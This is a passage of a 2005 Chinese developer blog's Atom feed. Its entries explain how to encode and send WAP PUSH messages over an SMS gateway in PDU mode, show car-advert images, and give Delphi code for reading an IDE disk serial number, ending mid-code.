href="http://browse.coolyoung.com.cn/dlfun/newswap/NewsList.jsp?BT=JQTL&ATP=13&Dir=8618&PT=0:0000&BK=JQTL.jsp">http://browse.coolyoung.com.cn/dlfun/newswap/NewsList.jsp?BT=JQTL&ATP=13&Dir=8618&PT=0:0000&BK=JQTL.jsp</A><BR>“性”福时光 XFSG1 <A href="http://browse.coolyoung.com.cn/dlfun/newswap/NewsList.jsp?BT=JQTL&ATP=13&Dir=8617&PT=0:0000&BK=JQTL.jsp">http://browse.coolyoung.com.cn/dlfun/newswap/NewsList.jsp?BT=JQTL&ATP=13&Dir=8617&PT=0:0000&BK=JQTL.jsp</A>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=58" /> 
	  <id>http://www.openx.cn/default.asp?id=58</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[基于短信网关发送WAP PUSH]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-25T17:32:01+08:00</updated>
	  <published>2005-09-25T17:32:01+08:00</published>
		  <summary type="html"><![CDATA[<P><FONT face=宋体 size=2>基于短信网关发送WAP PUSH<BR><BR>　　WAP PUSH的发送有两种途径，一个是通过PPG网关，另外一个是通过SMPP协议。其中SMPP是一个基本协议，在中国主要有三个由其派生的协议：中国移动的CMPP协议，中国联通的SGIP（在CDMA上是ETIP），以及小灵通的SMGP。通过中国移动的PPG网关发送WAP PUSH有着开发周期长，调测流程较复杂等不足，而使用CMPP协议即基于短信网关来进行WAP PUSH发送灵活性比较高，相对比较简单。</FONT><BR></P>
<P><FONT face=宋体 size=2>WAP PUSH发送的实现模式 <BR><BR>　　可通过计算机串口上连接GSM MODEM，用它向手机发送WAP PUSH。这种方法发WAP PUSH又分三种模式：BLOCK 模式、TEXT 模式和PDU 模式。BLOCK 模式现在用的很少了， TEXT 模式则只能发送</FONT><A class=bluekey href="http://www.yesky.com/key/3834/168834.html" target=_blank><FONT face=宋体 size=2>ASCII</FONT></A><FONT face=宋体 size=2> 码,它不能发送中文的UNICODE码，而PDU 模式开发起来则较为复杂,它需要编写专门的函数来将文本转换为PDU 格式,但PDU 模式被所有手机支持，可以使用任何字符集，它也是手机默认的编码方式，所以选用PDU模式发送WAP PUSH.<BR></FONT></P>
<P><FONT face=宋体 size=2>PDU 模式 <BR>　<BR>　　用PDU 模式发送 WAP PUSH可以使用三种编码: 7-bit 编码、8-bit 编码和UCS2 编码。7-bit 编码用于发送普通的ASCII 字符，8-bit 编码通常用于发送数据消息，UCS2 编码用于发送Unicode 字符。由于要实现中文WAP PUSH的发送,所以选择用UCS2 编码,即中文Unicode 码。 <BR>⑴ UCS2 编码原理 所谓UCS2 编码，是将单个的字符(1-2 个字节)按ISO/IEC10646 的规定，转变为16 位 的Unicode 宽字符。即将单个的字符转换为由四位的‘0’-‘9’、‘A’-‘F’的数字和字 母组成的字符串。待发送的消息以UCS2 码的形式进行发送。 <BR>⑵ 通过UCS2 编码我们得到中文Unicode 码，接着就可以进行发送PDU 串的编制了。从表面上看，PDU 串是ASCII 码串，同样由‘0’-‘9’、‘A’-‘F’这些数字和字母组成。它们是8 位字节的十六进制数，或者BCD 码十进制数。PDU 串除了包含所发送的消息本身外，还包含很多其它参数信息，如服务中心号码、目标号码和编码方式等<BR><BR>　　例如<BR><BR>0051000BA13108086406F600F5A7850B05040B8423F_<BR>0000303010129060603AE81EA8DCA02056A0045C6080C033231312e_<BR>3133362e3135332e33302f776170707573682f70757368496e6465782e_<BR>6a73703f7075736849643d30353035313131343136303532310<A class=bluekey href="http://www.yesky.com/key/3624/168624.html" target=_blank><FONT face=宋体 size=2>001</FONT></A><FONT face=宋体 size=2>03E8A_<BR>FB7E782B9E587BBE4BBA5E4B88BE993BEE68EA5E88EB7E58F96E5BDA9E4BFA1E58685E5AEB9000101_<BR><BR>　　为一串可以成功发送的WAP PUSH，其中包括了汉字描述和WAP页面地址。具体分析如下<BR><BR>　　00 SMSC 地址信息的长度 00表示用手机上设置短信中心号码，PDU 串的“SMSC 址格式”段和“SMSC 地址”段将省去<BR><BR>　　51 基本参数(TP-MTI/VFP) 不要求发送回复<BR><BR>　　00 消息基准值(TP-MR)<BR><BR>　　0B 对方电话的长度<BR><BR>　　A1 目标地址格式 A1表示为国内格式<BR><BR>　　3108086406F6 目标地址，补‘F’凑成偶数位后奇偶位互换<BR><BR>　　00 协议标识(TP-PID) 是普通GSM 类型，点到点方式<BR><BR>　　F5 用户信息编码方式 (TP-DCS)<BR><BR>　　A7 有效期(TP-VP)<BR><BR>　　85 用户信息长度(TP-UDL)<BR><BR>　　0B WAP PUSH头部的总长度<BR><BR>　　05040B8423F0表示接下来是一个WAP PUSH<BR><BR>　　00 表示是Concatenated Short Messages<BR><BR>　　03 长度<BR><BR>　　03 reference number<BR><BR>　　01 表示分成1个短信发送<BR><BR>　　01 当前包的序号<BR><BR>　　29060603AE81EA8DCA WSP<BR><BR>　　02 标记位<BR><BR>　　05 -//WAPFORUM//DTD SI 1.0//EN<BR><BR>　　6A UTF-8<BR><BR>　　00 标记开始<BR><BR>　　45 &lt;si&gt;<BR><BR>　　C6 &lt;indication<BR><BR>　　08 &lt;action=signal-high&gt;<BR><BR>　　0C href="http://<BR><BR>　　03 字符串开始<BR><BR>3231312e3133362e3135332e33302f776170707573682f<BR>70757368496e6465782e6a73703f7075736849643d3035303531313134313630353231 URL<BR><BR>　　00 URL 字符串结束<BR><BR>　　01 &gt;<BR><BR>　　03 内容描述字符串开始<BR><BR>　　E8AFB7E782B9E587BBE4BBA5E4B88BE993BEE68EA＿<BR>　　5E88EB7E58F96E5BDA9E4BFA1E58685E5AEB9 内容描述字符串<BR><BR>　　00 内容描述字符串结束<BR><BR>　　01 &lt;/si&gt;<BR><BR>　　01 &lt;/indication&gt;<BR><BR>　　由以上分析可以看出，WAP PUSH可以被当作一种特殊的短信来发送，WAP PUSH包发送的内容实际上跟通过PPG网关发送的XML原理相同，但是经过了压缩。压缩之后的格式称为WBXML，这种格式将一些标记用代码来表示。然而WBXML的缩略标记分为两部分，一部分是所有类型的XML都通用的，另一部分是不同类型的XML有着不同的解释。<BR>用户接收到此类信息时，在客户端手机支持WAP的情况下，可以直接访问到信息中加载的WAP网站地址，这样服务器也达到了推广业务方便用户使用的目的。由于在UCS2 编码方式下，可发送短消息的最大字符数是140字节，即WAP PUSH中的推送URL与描述文字的总字符数为140，因此描述文字的字数限制与推送的URL长度有关。<BR></FONT></FONT></P>
<P><FONT face=宋体 size=2><FONT face=宋体 size=2>WAP PUSH技术结合了PUSH技术的优势和移动通信服务的特性，具有良好的应用前景。但是WAP PUSH技术仍然存在着一些亟待解决的问题，如信息的鉴权与认证、信息的准确性、如何避免垃圾信息等。如何解决好这些问题将是WAP PUSH技术成功的关键。另外，随着GPRS技术和3G<FONT face=宋体 size=2>通信技术的发展，无线信道的带宽将逐步增大，WAP PUSH也将能进一步推送多媒体信息,有着更宽广的应用前景。<BR></FONT></P></FONT></FONT>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=57" /> 
	  <id>http://www.openx.cn/default.asp?id=57</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[悍马汽车广告设计欣赏]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-25T14:24:14+08:00</updated>
	  <published>2005-09-25T14:24:14+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]/attachments/Documents/hm/hammer1.jpg[/img]</P>
<P>[img]/attachments/Documents/hm/hammer2.jpg[/img]</P>
<P>[img]/attachments/Documents/hm/hammer3.jpg[/img]</P>
<P>[img]/attachments/Documents/hm/hammer4.jpg[/img]</P>
<P>[img]/attachments/Documents/hm/hammer5.jpg[/img]</P>
<P>[img]/attachments/Documents/hm/hammer6.jpg[/img]</P>
<P>[img]/attachments/Documents/hm/hammer7.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=56" /> 
	  <id>http://www.openx.cn/default.asp?id=56</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[取硬盘物理编号]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-24T20:55:00+08:00</updated>
	  <published>2005-09-24T20:55:00+08:00</published>
		  <summary type="html"><![CDATA[<P>unit hdid;</P>
<P>interface</P>
<P>uses<BR>&nbsp; Windows, Controls,SysUtils,Forms;<BR>&nbsp; //, Graphics, Dialogs, Classes, Messages,StdCtrls;<BR>type<BR>&nbsp; TSrbIoControl = packed record<BR>&nbsp;&nbsp;&nbsp; HeaderLength : ULONG;<BR>&nbsp;&nbsp;&nbsp; Signature&nbsp;&nbsp;&nbsp; : Array[0..7] of Char;<BR>&nbsp;&nbsp;&nbsp; Timeout&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : ULONG;<BR>&nbsp;&nbsp;&nbsp; ControlCode&nbsp; : ULONG;<BR>&nbsp;&nbsp;&nbsp; ReturnCode&nbsp;&nbsp; : ULONG;<BR>&nbsp;&nbsp;&nbsp; Length&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : ULONG;<BR>&nbsp; end;<BR>&nbsp; SRB_IO_CONTROL = TSrbIoControl;<BR>&nbsp; PSrbIoControl = ^TSrbIoControl;</P>
<P>&nbsp; TIDERegs = packed record<BR>&nbsp;&nbsp;&nbsp; bFeaturesReg&nbsp;&nbsp;&nbsp;&nbsp; : Byte; // Used for specifying SMART "commands".<BR>&nbsp;&nbsp;&nbsp; bSectorCountReg&nbsp; : Byte; // IDE sector count register<BR>&nbsp;&nbsp;&nbsp; bSectorNumberReg : Byte; // IDE sector number register<BR>&nbsp;&nbsp;&nbsp; bCylLowReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Byte; // IDE low order cylinder value<BR>&nbsp;&nbsp;&nbsp; bCylHighReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Byte; // IDE high order cylinder value<BR>&nbsp;&nbsp;&nbsp; bDriveHeadReg&nbsp;&nbsp;&nbsp; : Byte; // IDE drive/head register<BR>&nbsp;&nbsp;&nbsp; bCommandReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Byte; // Actual IDE command.<BR>&nbsp;&nbsp;&nbsp; bReserved&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Byte; // reserved.&nbsp; Must be zero.<BR>&nbsp; end;<BR>&nbsp; IDEREGS&nbsp;&nbsp; = TIDERegs;<BR>&nbsp; PIDERegs&nbsp; = ^TIDERegs;</P>
<P>&nbsp; TSendCmdInParams = packed record<BR>&nbsp;&nbsp;&nbsp; cBufferSize&nbsp; : DWORD;<BR>&nbsp;&nbsp;&nbsp; irDriveRegs&nbsp; : TIDERegs;<BR>&nbsp;&nbsp;&nbsp; bDriveNumber : Byte;<BR>&nbsp;&nbsp;&nbsp; bReserved&nbsp;&nbsp;&nbsp; : Array[0..2] of Byte;<BR>&nbsp;&nbsp;&nbsp; dwReserved&nbsp;&nbsp; : Array[0..3] of DWORD;<BR>&nbsp;&nbsp;&nbsp; bBuffer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Array[0..0] of Byte;<BR>&nbsp; end;<BR>&nbsp; SENDCMDINPARAMS&nbsp;&nbsp; = TSendCmdInParams;<BR>&nbsp; PSendCmdInParams&nbsp; = ^TSendCmdInParams;</P>
<P>&nbsp; TIdSector = packed record<BR>&nbsp;&nbsp;&nbsp; wGenConfig&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wNumCyls&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wReserved&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wNumHeads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wBytesPerTrack&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wBytesPerSector&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wSectorsPerTrack&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wVendorUnique&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Array[0..2] of Word;<BR>&nbsp;&nbsp;&nbsp; sSerialNumber&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Array[0..19] of Char;<BR>&nbsp;&nbsp;&nbsp; wBufferType&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wBufferSize&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wECCSize&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; sFirmwareRev&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Array[0..7] of Char;<BR>&nbsp;&nbsp;&nbsp; sModelNumber&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Array[0..39] of Char;<BR>&nbsp;&nbsp;&nbsp; wMoreVendorUnique&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wDoubleWordIO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wCapabilities&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wReserved1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wPIOTiming&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wDMATiming&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wBS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wNumCurrentCyls&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wNumCurrentHeads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wNumCurrentSectorsPerTrack : Word;<BR>&nbsp;&nbsp;&nbsp; ulCurrentSectorCapacity&nbsp;&nbsp;&nbsp; : ULONG;<BR>&nbsp;&nbsp;&nbsp; wMultSectorStuff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; ulTotalAddressableSectors&nbsp; : ULONG;<BR>&nbsp;&nbsp;&nbsp; wSingleWordDMA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; wMultiWordDMA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Word;<BR>&nbsp;&nbsp;&nbsp; bReserved&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Array[0..127] of Byte;<BR>&nbsp; end;<BR>&nbsp; PIdSector = ^TIdSector;</P>
<P>const<BR>&nbsp; IDE_ID_FUNCTION = $EC;<BR>&nbsp; IDENTIFY_BUFFER_SIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 512;<BR>&nbsp; DFP_RECEIVE_DRIVE_DATA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = $0007c088;<BR>&nbsp; IOCTL_SCSI_MINIPORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = $0004d008;<BR>&nbsp; IOCTL_SCSI_MINIPORT_IDENTIFY&nbsp; = $001b0501;<BR>&nbsp; DataSize = sizeof(TSendCmdInParams)-1+IDENTIFY_BUFFER_SIZE;<BR>&nbsp; BufferSize = SizeOf(SRB_IO_CONTROL)+DataSize;<BR>&nbsp; W9xBufferSize = IDENTIFY_BUFFER_SIZE+16;<BR>type<BR>&nbsp; Thdidform = class(TForm)<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; { Private declarations }<BR>&nbsp; public</P>
<P>&nbsp;&nbsp;&nbsp; { Public declarations }<BR>&nbsp; end;</P>
<P>var<BR>&nbsp; hdidform: Thdidform;<BR>&nbsp; function GetIdeDiskSerialNumber : String;</P>
<P>implementation</P>
<P>{$R *.DFM}<BR>procedure ChangeByteOrder( var Data; Size : Integer );<BR>&nbsp; var ptr : PChar;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i : Integer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c : Char;<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; ptr := @Data;<BR>&nbsp;&nbsp;&nbsp; for i := 0 to (Size shr 1)-1 do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c := ptr^;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ptr^ := (ptr+1)^;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (ptr+1)^ := c;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(ptr,2);<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; end;</P>
<P>function GetIdeDiskSerialNumber : String;</P>
<P>var <BR>&nbsp; hDevice : THandle; <BR>&nbsp; cbBytesReturned : DWORD; <BR>&nbsp; pInData : PSendCmdInParams; <BR>&nbsp; pOutData : Pointer; // PSendCmdOutParams <BR>&nbsp; Buffer : Array[0..BufferSize-1] of Byte;<BR>&nbsp; srbControl : TSrbIoControl absolute Buffer;<BR>begin<BR>&nbsp; Result := '';<BR>&nbsp; FillChar(Buffer,BufferSize,#0);<BR>&nbsp; if Win32Platform=VER_PLATFORM_WIN32_NT then<BR>&nbsp;&nbsp;&nbsp; begin // Windows NT, Windows 2000<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Get SCSI port handle<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hDevice := CreateFile( '\\.\Scsi0:',<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GENERIC_READ or GENERIC_WRITE,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FILE_SHARE_READ or FILE_SHARE_WRITE,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nil, OPEN_EXISTING, 0, 0 );<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if hDevice=INVALID_HANDLE_VALUE then Exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.Move('SCSIDISK',srbControl.Signature,8);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srbControl.Timeout&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := 2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srbControl.Length&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := DataSize;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srbControl.ControlCode&nbsp; := IOCTL_SCSI_MINIPORT_IDENTIFY;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pInData := PSendCmdInParams(PChar(@Buffer)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +SizeOf(SRB_IO_CONTROL));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pOutData := pInData;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with pInData^ do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cBufferSize&nbsp; := IDENTIFY_BUFFER_SIZE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bDriveNumber := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with irDriveRegs do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bFeaturesReg&nbsp;&nbsp;&nbsp;&nbsp; := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bSectorCountReg&nbsp; := 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bSectorNumberReg := 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bCylLowReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bCylHighReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bDriveHeadReg&nbsp;&nbsp;&nbsp; := $A0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bCommandReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := IDE_ID_FUNCTION;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not DeviceIoControl( hDevice, IOCTL_SCSI_MINIPORT,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @Buffer, BufferSize, @Buffer, BufferSize,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cbBytesReturned, nil ) then Exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle(hDevice);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; begin // Windows 95 OSR2, Windows 98<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hDevice := CreateFile( '\\.\SMARTVSD', 0, 0, nil,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CREATE_NEW, 0, 0 );<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if hDevice=INVALID_HANDLE_VALUE then Exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pInData := PSendCmdInParams(@Buffer);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pOutData := @pInData^.bBuffer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with pInData^ do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cBufferSize&nbsp; := IDENTIFY_BUFFER_SIZE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bDriveNumber := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with irDriveRegs do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bFeaturesReg&nbsp;&nbsp;&nbsp;&nbsp; := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bSectorCountReg&nbsp; := 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bSectorNumberReg := 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bCylLowReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bCylHighReg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bDriveHeadReg&nbsp;&nbsp;&nbsp; := 